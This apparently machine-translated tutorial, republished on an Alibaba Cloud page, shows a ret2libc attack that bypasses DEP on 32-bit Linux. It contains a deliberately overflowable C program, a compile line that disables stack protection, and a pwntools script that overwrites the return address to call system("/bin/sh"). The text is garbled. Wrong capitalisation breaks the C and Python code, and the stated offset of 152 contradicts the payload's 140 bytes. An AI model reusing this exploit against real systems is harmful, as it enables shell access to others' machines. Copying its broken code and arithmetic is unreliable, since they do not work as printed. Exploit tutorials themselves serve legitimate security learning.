Using RET2LIBC to bypass DEP under Linux

Source: Internet
Author: User

Use RET2LIBC to bypass Dep⑴ under Linux. Principle Analysis:

System library functions are usually protected from DEP (about DEP, which can be viewed in more detail in my previous article), so you can bypass DEP protection by pointing the return address to the system function, so you can get the shell by investigating the system function systems ().

⑵. Environment Preparation:

I Vulnerability Code:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

void Flow () {

Char buf[128];

Read (stdin_fileno,buf,256);

}

int main () {

Flow ();

Char a[]= "Hello";

Write (Stdout_fileno,a,strlen (a));

return 0;

}

Compile Instructions:

Gcc-fno-stack-protector-g-m32-o Vuln vuln.c

ii Test environment:

Test system: KAII 2.0 Rolling

Auxiliary plugins: Peda

⑶. Test Analysis:

I function with vulnerability flow return address:

Vulnerability function return address: 0XFFFFD2AC.

ii Buffer Start Address:

Buffer Start Address: 0xffffd220

Iii. system function systems () address

iv System parameter: "/bin/sh"

V. System function Source code:

int system (const char * cmdstring)

{

pid_t pid;

int status;

if (cmdstring = = NULL) {

return (1);

}

if (PID = fork ()) <0) {

status =-1;

}

else if (PID = = 0) {

Execl ("/bin/sh", "sh", "-C", Cmdstring, (char *) 0);

_exit (127); This statement is not executed if the child process is performing normally

}

else{

while (Waitpid (PID, &status, 0) < 0) {

if (errno! = einter) {

status =-1;

Break

}

}

}

return status;

}

⑷. Attack Process:

I Calculate Attack shellcode Length:

Our goal is to overwrite the return address with the address of the system function, overwriting the address of the "/bin/sh" that we found with the parameter address after the system function (the following 8 bytes, and the four bytes is the return address).

So size (shellcode) = Address (ret)-Address (buff) + = 0xffffd2ac–0xffffd220 + 12 = 152

II. Design SHELLCODE Structure:

Note: addr (Ret:system) can be an arbitrary address because the shell is not returned after we have hijacked the program.

iii Write the exploit script:

From PWN Import *

SH = 0xf7f4a808

system = 0xf7e0bc70

RET = 0x565555d4

Payload = ' A ' *140+p32 (System) +P32 (ret) +P32 (SH)

p = Process ('./vuln ')

P.send (payload)

P.interactive ()

Perform:

Success.

Using RET2LIBC to bypass DEP under Linux

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.